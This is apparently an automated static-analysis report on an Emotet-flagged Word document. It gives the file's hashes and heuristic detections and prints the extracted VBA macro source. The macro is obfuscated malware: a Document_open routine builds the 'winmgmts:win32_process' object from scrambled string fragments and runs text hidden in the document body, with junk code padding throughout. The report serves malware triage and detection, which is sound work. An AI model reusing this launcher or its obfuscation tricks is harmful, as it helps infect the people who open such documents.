Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a3df0fb379f1f2d…

MALICIOUS

Office (OLE)

202.2 KB Created: 2020-12-22 13:44:00 Authoring application: Microsoft Office Word First seen: 2021-01-23
MD5: 61c6f22dbc1f050b75d8948068f7fa45 SHA-1: 4910e74d9050e965b9a4b4cf1c0e12a95b75f42f SHA-256: 4a3df0fb379f1f2d8ff39c331e9c6fa59ce855cd07767ffb53adbdb9d3f9f2d4
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10024800-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10024800-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Csd8h0u9pu8jd96j = CreateObject(Hpwu54y1b6qz90)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16295 bytes
SHA-256: 846fe25f5f9746930cb6a9d1260b32582242e9a1ff5eb860d3d39ee116c92505
Detection
ClamAV: No threats found
Obfuscation or payload: likely
374 of 596 identifiers look randomly generated (e.g. 'Fd6yftrwreep0xts95') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Orstan_0f0m5t5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Thpqkt9mhmax
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{FF640FDD-8938-4E0A-A88A-02F321911E36}{286C34BB-A623-4F94-8F16-924972BDC82A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{7CBC8644-0CA9-4DBB-83B7-CFB3A28D34CB}{0A950037-229A-46DE-BFA2-7CD910BFD7EF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{0A9CD59D-C72E-4FF5-A659-3925E47AA573}{C5A0DD70-D7FE-458A-86D1-95DECEFD1418}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm4"
Attribute VB_Base = "0{F82B5630-3555-4702-A850-E2DDC21150CE}{E561853A-EF74-44B9-BA26-0AE54C9E973B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm5"
Attribute VB_Base = "0{78DB371B-EB7C-47B1-A176-042A10E32A3E}{20A2DF3D-FD51-4FE5-936C-DF3A01668EFA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Chiin3eu9vv5ivi1ck"
   Function Sayglkkacsz3(Iwl_4ti2tks)
   GoTo OfOaD
Dim epvMZ As String 'luvbGHmB
Open "OBryAJ.DchGVz.CjAmI" For Binary As 155
Open "pBGlDJ.JSSxIcOJH.TPZZAHjH" For Binary As 155
Open "RdBBD.wZgJIWfJy.KWWQJrFvC" For Binary As 155
Put #155, , epvMZ
Close #155
OfOaD:
GoTo HAoHlTIIg
Dim wVxJhhCJ As String 'QNipJEYZB
Open "iDOtIUCp.fKErsGvCF.PbsiGww" For Binary As 121
Open "eIZJIDG.HPKXC.DBDPsEra" For Binary As 121
Open "vdoyGAAiE.ikMdJhM.pPLsXs" For Binary As 121
Put #121, , wVxJhhCJ
Close #121
HAoHlTIIg:
GoTo QMnPJAgW
Dim AZiFFA As String 'QeJEk
Open "xmmAEGD.ntYeBBJ.IfSrixt" For Binary As 68
Open "YfFAIbEJV.haHwD.ccbACyRJ" For Binary As 68
Open "TsdhEFLch.DJtosIWJ.dHKMA" For Binary As 68
Put #68, , AZiFFA
Close #68
QMnPJAgW:
HBYVV = ""
Sayglkkacsz3 = HBYVV + VBA.Replace _
(Iwl_4ti2tks, "qq" + ")(s2)" + "(", A_h6sq1bs20do)
   GoTo rInrqjmoE
Dim EirqAv As String 'bSXzADuI
Open "qZqeBP.VcVEDNSSL.sGvTJAA" For Binary As 134
Open "LLHBRUF.WaKql.sizODtAfd" For Binary As 134
Open "cmBvCFAkI.ZqmWsEjNY.CfysA" For Binary As 134
Put #134, , EirqAv
Close #134
rInrqjmoE:
GoTo wMSdzMGR
Dim PZevcEE As String 'qTamD
Open "GlpoECH.JHJUF.PijHIDA" For Binary As 187
Open "ZgEcCfJGE.ZUJwJFPwE.oJLjCGHP" For Binary As 187
Open "wOLuE.VtGpoD.wViuG" For Binary As 187
Put #187, , PZevcEE
Close #187
wMSdzMGR:
GoTo ZIIYeIFHY
Dim TSOAA As String 'eZCJAHEHK
Open "lULQGtKE.tDruSJDm.pJBBExEI" For Binary As 162
Open "vmvjRmAA.UdRsIBA.GRTYNEOXl" For Binary As 162
Open "NwWkOauFH.hJhHADv.nZUrJvHCG" For Binary As 162
Put #162, , TSOAA
Close #162
ZIIYeIFHY:
End Function
Function Thpqkt9mhmax()
On Error Resume Next
sh2v = Orstan_0f0m5t5.StoryRanges.Item(1)
   GoTo KjdIE
Dim HKcXDCIG As String 'kKLALoWu
Open "yyAkA.cDqyEDAcA.weOBOmtBK" For Binary As 151
Open "UxCWjAF.IGrBfX.lCGMCJzF" For Binary As 151
Open "CgOMuAEJ.OYZJkR.NjXQKDaI" For Binary As 151
Put #151, , HKcXDCIG
Close #151
KjdIE:
GoTo eiPrC
Dim sRgspJEEG As String 'EERqIJTGU
Open "QWVLFAA.RCyGTHDOI.LFrJxHmh" For Binary As 117
Open "fFooGAN.ucSfJ.vKlFRdWfD" For Binary As 117
Open "MmMaGJv.vKrzzzfDt.ITxTAF" For Binary As 117
Put #117, , sRgspJEEG
Close #117
eiPrC:
GoTo kztgFXFA
Dim XuJkosG As String 'EofMC
Open "lcNfFD.aYqfGhCHG.wJAZCCFLJ" For Binary As 188
Open "SapPC.yIgoHIolh.nBurJAIC" For Binary As 188
Open "MHKxwAk.mwwUII.DhXvwqCA" For Binary As 188
Put #188, , XuJkosG
Close #188
kztgFXFA:
sng2 = "qq)(" + "s2)(pq" + _
 "q)(s2)("
P1vi3wm843vdu2 = "qq)(s" + _
 "2)(roqq" + ")(s2)(qq)(s2)(ceqq)(s2)" + _
 "(sqq)(s2)(sqq)(s2)(qq)(s2)("
   GoTo REElF
Dim aBLNBYJA As String 'HuzPJAa
Open "liYUh.PDqQC.iEtUGXS" For Binary As 181
Open "oZnXAGUG.dVQVHWC.uAjNFR" For Binary As 181
Open "FBxFYDw.pwpEVRSF.YipbBHPGp" For Binary As 181
Put #181, , aBLNBYJA
Close #181
REElF:
GoTo anoOD
Dim QPPIFV As String 'GieULBGE
Open "kFRAosJ.EcVdE.spZeJlEG" For Binary As 214
Open "AlobFHDd.WEHPIHJkC.kROiACPCG" For Binary As 214
Open "cYswYTp.GUtzJ.ESPVBCDs" For Binary As 214
Put #214, , QPPIFV
Close #214
anoOD:
GoTo MgkAPS
Dim JxtKdZDJ As String 'tWXzE
Open "eDwusyJU.UNlhGBBm.jAYCbhH" For Binary As 129
Open "SOzCuHCG.MFTiOms.WaZRGJB" For Binary As 129
Open "AEnGNGC.rBtAojTV.qEdYiFE" For Binary As 129
Put #129, , JxtKdZDJ
Close #129
MgkAPS:
Vcizq3o94znlf = "qq)(s2)(" + ":wqq)(s2)(qq)(s" + _
 "2)(inqq)(s2)(3qq)(s" + _
 "2)(2qq)(s2)(_qq)(s2)("
   GoTo jjSBbGG
Dim APkDFJYcI As String 'FfkkKGD
Open "rcZgWJEE.DkXZBGTOH.wCZqxrjAB" For Binary As 130
Open "jOdwBJJ.CmCqdAwEu.VeJDC" For Binary As 130
Open "lXLNsrhp.lEUyJm.nEKiBTDI" For Binary As 130
Put #130, , APkDFJYcI
Close #130
jjSBbGG:
GoTo szIXs
Dim nOcGGJOJ As String 'kQvnCB
Open "wPqiy.MxwNJI.GJadDAin" For Binary As 101
Open "whrEyi.iovZDa.AalpqAJNF" For Binary As 101
Open "xgujGx.utYNyI.cSdFUGOj" For Binary As 101
Put #101, , nOcGGJOJ
Close #101
szIXs:
GoTo aKFaDBUA
Dim QuEwJ As String 'FFTGOCW
Open "IenJJjYGI.kTBrHD.rVwgVG" For Binary As 176
Open "oZTuiI.URZmBHAB.pyffG" For Binary As 176
Open "OQGcGI.EcxRJIq.emgAQY" For Binary As 176
Put #176, , QuEwJ
Close #176
aKFaDBUA:
Mv9q5j8bugb08w = "wqq)(s2" + _
 ")(inqq)(s2)(mqq)(s" + "2)(gmqq)(s2)(tqq)(" + "s2)(qq)(s2)("
   GoTo opKwDDq
Dim brrjGJA As String 'zWsTEBC
Open "rzKOWGIE.jpyOBG.npHwFiSG" For Binary As 162
Open "IsMxF.TnmfwCCBC.YFiRJ" For Binary As 162
Open "wxDnLCE.LoFzGHf.fnRNAIF" For Binary As 162
Put #162, , brrjGJA
Close #162
opKwDDq:
GoTo dWRnIa
Dim MHPnIBC As String 'WXUNs
Open "XGlgHDn.nYxZGHtAD.HmXtn" For Binary As 232
Open "WpBpIGx.IndBnwD.YjloEFCOD" For Binary As 232
Open "qtpyJSEYG.hhJoPRH.iiQgr" For Binary As 232
Put #232, , MHPnIBC
Close #232
dWRnIa:
GoTo eWzXE
Dim cNmpkD As String 'RhvdXdA
Open "EPRFjCBdF.KrmVJ.lDZLrf" For Binary As 186
Open "mUjZfAt.dzQzBSA.hiABUDJ" For Binary As 186
Open "QLYrUQH.QdpEmY.KZzzCH" For Binary As 186
Put #186, , cNmpkD
Close #186
eWzXE:
O8c_ekvk4lm6h = Lz58a7s2jrd7jhq + ChrW(Fgnn9z1msjtvy + wdKeyS + Liw4atm8l9d) + Igoo4_hyk0m1x
   GoTo sJPMIF
Dim QNQkfu As String 'AeUSxZVB
Open "cnqsAlHw.WIDlbJENO.vVLVD" For Binary As 116
Open "UhKvEF.KLFTvHt.uESGEj" For Binary As 116
Open "HqyPJqt.gfISBR.iudhe" For Binary As 116
Put #116, , QNQkfu
Close #116
sJPMIF:
GoTo msoqvd
Dim XVuNklR As String 'PbaAC
Open "sxUIBa.wVUDASIQ.EatFkCiVc" For Binary As 129
Open "EkJtJRN.kzaqmEokZ.kLQzAGNW" For Binary As 129
Open "ggKXFFZN.rRagbv.nkCoCGS" For Binary As 129
Put #129, , XVuNklR
Close #129
msoqvd:
GoTo sMccO
Dim QRxeaBGB As String 'CHwwOFCH
Open "BUdOxUCA.YVqvM.qJstEq" For Binary As 69
Open "LvBjDd.cpESDI.ELKrCIJk" For Binary As 69
Open "BBSCCf.sXKiX.jkPIBBFIz" For Binary As 69
Put #69, , QRxeaBGB
Close #69
sMccO:
O_k94ik7aw7jkv7m00 = Mv9q5j8bugb08w + O8c_ekvk4lm6h + Vcizq3o94znlf + sng2 + P1vi3wm843vdu2
   GoTo THiqCSDBw
Dim gZZwqlWP As String 'bdSMp
Open "KlIQKEE.TafIIOR.ioWyaHA" For Binary As 138
Open "ekeOW.SLWmAB.byMNC" For Binary As 138
Open "zZsiV.NIWrJDEaA.xJVfRIXpT" For Binary As 138
Put #138, , gZZwqlWP
Close #138
THiqCSDBw:
GoTo aLaDUgDSI
Dim lnnZGgI As String 'OWbAuDk
Open "sNXgB.nXkxYDnbT.FQDBEdCI" For Binary As 122
Open "tRniGD.XnKLUHzO.kwquzJBEn" For Binary As 122
Open "QLsXrW.scIrAy.fiegeBcAz" For Binary As 122
Put #122, , lnnZGgI
Close #122
aLaDUgDSI:
GoTo qkndABr
Dim LAUnIFHGD As String 'EINDmoYc
Open "snbCSAA.RVbRgUI.qKUHQCE" For Binary As 142
Open "imTAPMcDO.vUsMHFGUi.yAZOBHNC" For Binary As 142
Open "tXuqDbvrB.haEtIHUZ.OrKxAJ" For Binary As 142
Put #142, , LAUnIFHGD
Close #142
qkndABr:
Hpwu54y1b6qz90 = Rvqbzktjdkam7p6jt(O_k94ik7aw7jkv7m00)
   GoTo cOHqDEpb
Dim JaImD As String 'XWxNCBE
Open "HIajNX.mCDTW.svehTB" For Binary As 116
Open "YlbxAi.kxvcYY.LbvYXlB" For Binary As 116
Open "otmnv.IWJFFBaf.nVkjCCCpP" For Binary As 116
Put #116, , JaImD
Close #116
cOHqDEpb:
GoTo ZxxrpJv
Dim XgcYBJ As String 'laIsex
Open "uhpTFEss.xZGucy.vPDJCAH" For Binary As 158
Open "ildaIC.lCMyBIIt.rcrKEH" For Binary As 158
Open "XyQXZtDb.tzuNHB.YritIWHJ" For Binary As 158
Put #158, , XgcYBJ
Close #158
ZxxrpJv:
GoTo szSID
Dim lxxiEtACY As String 'WDhWtCD
Open "uYLTnORO.Xrqej.FrklvDGg" For Binary As 170
Open "LKIAJB.kvxKaGD.ytLVIiF" For Binary As 170
Open "dcZdQE.WuWlEiA.ZxaLs" For Binary As 170
Put #170, , lxxiEtACY
Close #170
szSID:
Set Csd8h0u9pu8jd96j = CreateObject(Hpwu54y1b6qz90)
   GoTo CCLYgvGE
Dim FztGc As String 'zQptGjQA
Open "gMEdB.gsFCAG.NCTIL" For Binary As 95
Open "URodYJxCw.aCFPEC.sMJoD" For Binary As 95
Open "FKYBBbJfR.ZXVlHUSSE.JWsArD" For Binary As 95
Put #95, , FztGc
Close #95
CCLYgvGE:
GoTo DdJSBIO
Dim SimiJV As String 'faZZI
Open "vnwVciHu.mFmxngh.MGZHCCG" For Binary As 161
Open "jLwOxUJE.CCujGTn.AJKKfC" For Binary As 161
Open "BSwGIBACD.cZxNbyMA.pOOQn" For Binary As 161
Put #161, , SimiJV
Close #161
DdJSBIO:
GoTo BWPYLFaqA
Dim QvSrsJ As String 'NHgyDAKTG
Open "JbugH.nfXjHH.pzWDEbGHr" For Binary As 59
Open "phyKpb.tKKZK.wMLkFEpI" For Binary As 59
Open "bYWgd.AQvgJC.wciOB" For Binary As 59
Put #59, , QvSrsJ
Close #59
BWPYLFaqA:
Rqylrkkqki1eyf2q03 = Mid(sh2v, (5), Len(sh2v))
   GoTo JVptIFG
Dim qlHZHA As String 'eLiqZAABJ
Open "aiNfGehj.TsYJlCD.YXXfZH" For Binary As 265
Open "nFJPxBLDB.SODHJi.cYCFDz" For Binary As 265
Open "sCgtgA.vUVdDIB.LAsZIB" For Binary As 265
Put #265, , qlHZHA
Close #265
JVptIFG:
GoTo UesEAD
Dim ULIDt As String 'yEulIJA
Open "vUsEQ.eDpCHHkA.uQdLp" For Binary As 173
Open "JqbhHPDCp.fcTtHT.BtHEFFIz" For Binary As 173
Open "zOeBAPA.CalFRLFAD.FUnnNk" For Binary As 173
Put #173, , ULIDt
Close #173
UesEAD:
GoTo cLTiGH
Dim XVFmFJGdA As String 'NMKdSMBC
Open "eSuBuIi.EdCJJINAn.TcYip" For Binary As 54
Open "TvzilJ.aUFBiF.OtnBVC" For Binary As 54
Open "UaWfFeSzE.vLdupDBrA.JBuhJrm" For Binary As 54
Put #54, , XVFmFJGdA
Close #54
cLTiGH:
   GoTo NAhyQpcc
Dim fOBSCKJ As String 'DkhvIdA
Open "QnFfED.ybwyAi.pePgwmjH" For Binary As 107
Open "xVZyEV.OqjzBDeW.AmvqAtDQ" For Binary As 107
Open "yMvvGJUzA.FkdWJ.eLvaDjDCF" For Binary As 107
Put #107, , fOBSCKJ
Close #107
NAhyQpcc:
GoTo QalCrmr
Dim ZhXTXHs As String 'ftzWPDGGC
Open "bWLQHFB.bjyQJadyA.wDalB" For Binary As 156
Open "JJryCsIvA.DKSIE.WoCjxA" For Binary As 156
Open "SepDC.sBmSgGYI.SHulfGak" For Binary As 156
Put #156, , ZhXTXHs
Close #156
QalCrmr:
GoTo LXSlWHDk
Dim cdgJLU As String 'wbPqB
Open "RhzTHEuDq.UFkXHHAB.fDkzSzo" For Binary As 90
Open "FHRLCHo.OBZxHi.HsKEBC" For Binary As 90
Open "agvhCFAiJ.hvJXcSGnD.JQGjDvtEO" For Binary As 90
Put #90, , cdgJLU
Close #90
LXSlWHDk:
Csd8h0u9pu8jd96j.Create Rvqbzktjdkam7p6jt(Rqylrkkqki1eyf2q03), Zsp3m8cgb7jrg8_k6, Sg3i9dav932yonq
   GoTo LiWpDFh
Dim lZkaUyDE As String 'eHDJoGJo
Open "RsOzHA.pTOEJy.ROalsIFIu" For Binary As 73
Open "SMoQfFCG.KjJdH.WoxCHNAJD" For Binary As 73
Open "HtVWb.TgYlQDmI.nKTpq" For Binary As 73
Put #73, , lZkaUyDE
Close #73
LiWpDFh:
GoTo qaEGeFP
Dim ZVLVMJUH As String 'BQTzCHle
Open "yANXGJBP.cvvwJIHDg.vSztAB" For Binary As 124
Open "WjcFAyAw.DwuHCBNLV.LytBBxVO" For Binary As 124
Open "WAURn.XqlZKSE.sXqXBNrm" For Binary As 124
Put #124, , ZVLVMJUH
Close #124
qaEGeFP:
GoTo FFRjGFAB
Dim BgFcC As String 'jYRSX
Open "wTwGCIcr.SRKCCFCr.PzLUzJaG" For Binary As 61
Open "CKqEAEOEC.IxMaz.jvMUm" For Binary As 61
Open "ixfCA.jzXlB.lntYBKgDs" For Binary As 61
Put #61, , BgFcC
Close #61
FFRjGFAB:
   GoTo uVyLDGE
Dim MHGgk As String 'HQwgJHEQo
Open "Cfcemc.qLAuEBGBG.dtrEFG" For Binary As 137
Open "ANWOBiH.IHcCGG.cOxHSDHD" For Binary As 137
Open "OrumRF.EBwuHJwC.vKbUB" For Binary As 137
Put #137, , MHGgk
Close #137
uVyLDGE:
GoTo cAKuECC
Dim RyPmIG As String 'FoArN
Open "eclsMCHq.AIaRTDE.janWFt" For Binary As 157
Open "XkktI.VBLgmEB.uzygp" For Binary As 157
Open "fPmMixJpa.BNVIGDvZ.VbbcGZG" For Binary As 157
Put #157, , RyPmIG
Close #157
cAKuECC:
GoTo lCKmLA
Dim WtHXzFCA As String 'wjzDFSG
Open "HPZEPAIJq.XiMFvh.sfPyqff" For Binary As 216
Open "fyRqDxDsH.AFKYM.SNono" For Binary As 216
Open "LvkmJ.TjxqVECA.YLsUF" For Binary As 216
Put #216, , WtHXzFCA
Close #216
lCKmLA:
End Function
Function Rvqbzktjdkam7p6jt(Wnh4s9nay5dlcd)
On Error Resume Next
   GoTo gXnUCvBi
Dim SVNkJhC As String 'UrqvLQFfJ
Open "HLUMFwrVD.TxHSDE.BDQRhM" For Binary As 197
Open "uELMH.sjGVDg.JxCbAcA" For Binary As 197
Open "nsEOjB.vSAjAGGIc.hcUIMBDCA" For Binary As 197
Put #197, , SVNkJhC
Close #197
gXnUCvBi:
GoTo LWKRv
Dim gMitX As String 'YrIESEF
Open "oEbuVDa.RIPCT.PSVVuERJ" For Binary As 41
Open "IFGZchCbi.VRlYIAmL.NxgWzCH" For Binary As 41
Open "uAtLHCD.KfuhAJ.QTLGwHFA" For Binary As 41
Put #41, , gMitX
Close #41
LWKRv:
GoTo mQbvF
Dim daIoHGAsj As String 'GjqBHHH
Open "TRDLOv.gonlqCeT.pfAJQWFf" For Binary As 194
Open "ftsjDBOJ.VjoMJ.OlZzkAKHB" For Binary As 194
Open "YjjFOGHD.eljdBm.QbpuH" For Binary As 194
Put #194, , daIoHGAsj
Close #194
mQbvF:
Fd6yftrwreep0xts95 = (Wnh4s9nay5dlcd)
   GoTo vEjCFT
Dim PfcMMA As String 'lqLPBuByF
Open "qDtkJ.CruemnNyA.ZhWKDR" For Binary As 146
Open "QPvAsWQh.nCJYDF.ITGdmbsvz" For Binary As 146
Open "ywCGHIA.PUqYsGcEB.cAyHGDIeu" For Binary As 146
Put #146, , PfcMMA
Close #146
vEjCFT:
GoTo azogJEHoH
Dim GMfIC As String 'qcbMzI
Open "XizhHxxe.nhcsvvAJ.JiwiOiIG" For Binary As 108
Open "UDCdWFJQZ.VnCUHADE.DqBQBdZJ" For Binary As 108
Open "NnTYIAdJB.ewmrCGuDF.JdaOOJ" For Binary As 108
Put #108, , GMfIC
Close #108
azogJEHoH:
GoTo zdIdAuLAF
Dim vkIRGEEGI As String 'HfwFBWj
Open "YJvBEwDU.gGABA.iWPGC" For Binary As 120
Open "JvkCDoDA.aUjqQ.nRlfI" For Binary As 120
Open "SuScPCA.PhERiCa.RwxZyX" For Binary As 120
Put #120, , vkIRGEEGI
Close #120
zdIdAuLAF:
D7kvp43nx4a = Sayglkkacsz3(Fd6yftrwreep0xts95)
   GoTo TnYtE
Dim XnRtDHGG As String 'gAdmGK
Open "xWMMXmUH.CDzyE.FOvXtG" For Binary As 200
Open "plHQIlBAr.weJACHoA.ZkWqPbJc" For Binary As 200
Open "tNgDIc.wuMJBhIQC.DTsSDDr" For Binary As 200
Put #200, , XnRtDHGG
Close #200
TnYtE:
GoTo SJnADE
Dim qYdQwkEWm As String 'YehPFKH
Open "KsshG.JiEsCJVEC.ajHoHCC" For Binary As 214
Open "wWoZlEB.qHRQpB.zYoQB" For Binary As 214
Open "iRnrd.THXLBJ.zHNoEwjG" For Binary As 214
Put #214, , qYdQwkEWm
Close #214
SJnADE:
GoTo SWvPOyD
Dim CuHqHOg As String 'FYYSDBEt
Open "oGFqm.QyheAEDGb.ufmUPB" For Binary As 98
Open "udzPvfEi.slRrVSGiw.IVWcZ" For Binary As 98
Open "WyAsEOJ.MyWoB.vGyrtFGo" For Binary As 98
Put #98, , CuHqHOg
Close #98
SWvPOyD:
Rvqbzktjdkam7p6jt = D7kvp43nx4a
   GoTo WwFCHJ
Dim BJGHHEFN As String 'frMuEuBvZ
Open "zeDcCQ.BwIaHkJ.ozOKPJwlE" For Binary As 157
Open "yukMf.osnewD.FhLkJPXBP" For Binary As 157
Open "GGBlFK.vApvAAFJG.cpQaJ" For Binary As 157
Put #157, , BJGHHEFN
Close #157
WwFCHJ:
GoTo QJenCEIE
Dim UmtRJ As String 'bVhiD
Open "hjPZF.ZeUeAyHjC.RKeEhCROY" For Binary As 115
Open "jwGOPKE.aOTdAa.GinXQSF" For Binary As 115
Open "XuJeeb.ZRxeWJ.dMXwqgsUB" For Binary As 115
Put #115, , UmtRJ
Close #115
QJenCEIE:
GoTo jBbuPH
Dim egwmBJAG As String 'NvxdhITVE
Open "OlRFuGzBo.fsAnF.QCcoCH" For Binary As 71
Open "dhXjG.NmsjEE.NFeRDkgE" For Binary As 71
Open "ltAsIIH.bVjhCA.FUEMDreE" For Binary As 71
Put #71, , egwmBJAG
Close #71
jBbuPH:
End Function


Attribute VB_Name = "Jwvk8ba2sy2s"